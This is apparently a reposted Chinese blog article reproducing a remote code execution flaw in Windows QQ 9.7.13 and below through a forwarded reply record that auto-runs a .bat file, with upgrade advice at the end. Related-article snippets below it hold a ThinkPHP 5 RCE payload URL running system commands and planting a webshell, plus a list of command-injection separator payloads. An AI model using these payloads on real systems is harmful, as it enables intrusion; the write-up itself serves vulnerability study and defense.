QQ9.7.13版本及以下RCE漏洞

9月前作者：别打扰我摸鱼分类：Toy博客阅读(40) 违法举报

这篇具有很好参考价值的文章主要介绍了QQ9.7.13版本及以下RCE漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

00、声明：

本文仅仅作为学习漏洞原理，为了更好的防范利用漏洞进行的攻击行为，请勿将文章内的相关技术用于非法目的，如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》

01、漏洞环境

攻击方和受害方双方均为windowsQQ9.7.13版本及以下

复现时间：2023.8.21 14:30

QQ9.7.13版本及以下RCE漏洞

02、复现过程

攻击方先建立个bat文件或者exe文件，我们这里实现弹出计算机的功能进行测试即可

QQ9.7.13版本及以下RCE漏洞

QQ9.7.13版本及以下RCE漏洞

然后进攻方将这个1.bat发送给自己或者小号群，然后回复

QQ9.7.13版本及以下RCE漏洞

然后将这个回复的记录进行转发，当受害方点击这个回复记录的文件名称时，会自动下载并运行程序

然后被360拦了...

虽然是这个bat内容层面只有一个计算器，但是依旧是被拦掉了，推测应该是因为360的防护规则是网络下载的bat文件全部报毒

QQ9.7.13版本及以下RCE漏洞

QQ9.7.13版本及以下RCE漏洞

到这一步也没有啥继续测试的必要了，因为已经可以明显的看见已经有bat执行的告警了

03、防范建议

不要用电脑qq点看起来不清不楚的文件回复记录，当然也不要点击未知的链接，不要下载陌生人发送的未知文件

抓紧升级windowsQQ版本，升级为最新版或者官方发布的经典版最新版9.7.15版本

手机qq、windowsQQ9.7.13以上版本，linuxQQ，macQQ不受影响文章来源地址https://www.toymoban.com/news/detail-663965.html

到了这里，关于QQ9.7.13版本及以下RCE漏洞的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：

领支付宝红包赞助服务器费用

uniapp打包微信小程序。报错：https://api.weixin.qq.com 不在以下 request 合法域名列表

场景：在进行打包上传测试时，发现登录失效，但在测试中【勾选不效应合法域名】就可以。出现原因：我在获取到用户code后，直接使用调用官方接口换取openid 解决方案：可以把code带给后端，让他们返回token值

2024年02月09日
浏览(53)
thinkphp 5-rce（rce漏洞getshell）

vulhub靶场 http://xxxxx:8080/?s=/Index/thinkapp/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=whoami 验证漏洞 linux系统，可以用touch命令创建文件 http://xxxxx:8080/?s=/Index/thinkapp/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]= touch mm.php 再用echo写入一句话 http://xxxxx:8080/index.

2024年02月14日
浏览(40)
phpstudy 最新 RCE漏洞

突然看到这个漏洞，所以起来复现一下，其实没有什么技巧和经验可言，就是一个xss+csrf的RCE。本文仅供参考，请勿用于非法用途环境部署可以参考：https://www.xp.cn/linux.html#install-show 我是直接用kali部署的，相当于是unbantu。先来看xss，正常的登录测试 scriptalert(1)/script 因为在

2024年02月05日
浏览(32)
Spring RCE漏洞

目录 Spring RCE漏洞一、漏洞概况与影响二、Spring动态参数绑定三、漏洞复现四、漏洞原理五、漏洞排查和修复 CVE编号：CVE-2022-22965 受影响范围： Spring Framework 5.3.X 5.3.18 Spring Framework 5.2.X 5.2.20 JDK =9 使用Tomcat中间件且开启了Tomcat日志记录的应用系统将HTTP请求中的的请求参数

2024年02月01日
浏览(37)
RCE漏洞简介

今天继续给大家介绍渗透测试相关知识，本文主要内容是RCE漏洞简介。免责声明：本文所介绍的内容仅做学习交流使用，严禁利用文中技术进行非法行为，否则造成一切严重后果自负！再次强调：严禁对未授权设备进行渗透测试！所谓RCE漏洞，即Remote Code/Command Execution，远

2024年02月13日
浏览(58)
rce 漏洞

过滤分隔符 ; 1，可以使用%0a代替，%0a其实在某种程度上是最标准的命令链接符号功能符号 payload 换行符 %0a ?cmd=123%0als 回车符 %0d ?cmd=123%0dls 连续指令 ; ?1=123;pwd 后台进程 ?1=123pwd 管道 | ?1=123|pwd 逻辑运算 ||或 ?1=123pwd ; //分号 | //把前面输出的当作后面的输入 (管道符

2024年02月07日
浏览(42)
RCE（远程命令执行）漏洞详解

RCE(remote command/code execute，远程命令执行)漏洞远程代码执行 (RCE) 攻击是指攻击者可以在一个组织的计算机或网络上运行恶意代码。执行攻击者控制的代码的能力可用于各种目的，包括部署额外的恶意软件或窃取敏感数据。远程代码执行攻击通常通过网络应用程序和网络基础

2024年04月10日
浏览(50)
Apache ActiveMQ RCE漏洞复现

1、产品简介 ActiveMQ是一种开源的基于JMS（Java Message Servie）规范的一种消息中间件的实现，ActiveMQ的设计目标是提供标准的，面向消息的，能够跨越多语言和多系统的应用集成消息通信中间件。ActiveMQ是Apache出品，最流行的，能力强劲的开源消息总线。 2、漏洞概述 Apache Act

2024年01月22日
浏览(41)
RCE 远程代码执行漏洞分析

Remote Command/Code Execute 远程命令执行/远程代码执行漏洞这种漏洞通常出现在应用程序或操作系统中，攻击者可以通过利用漏洞注入恶意代码，并在受攻击的系统上执行任意命令。 PHP 代码执行 PHP 代码注入 OS 命令执行 OS 命令注入 Java、Python…… Web 应用程序远程服务操作系统

2024年02月08日
浏览(40)
Panalog 日志审计系统RCE漏洞

免责声明：文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 Ⅰ、漏洞描述

2024年02月21日
浏览(39)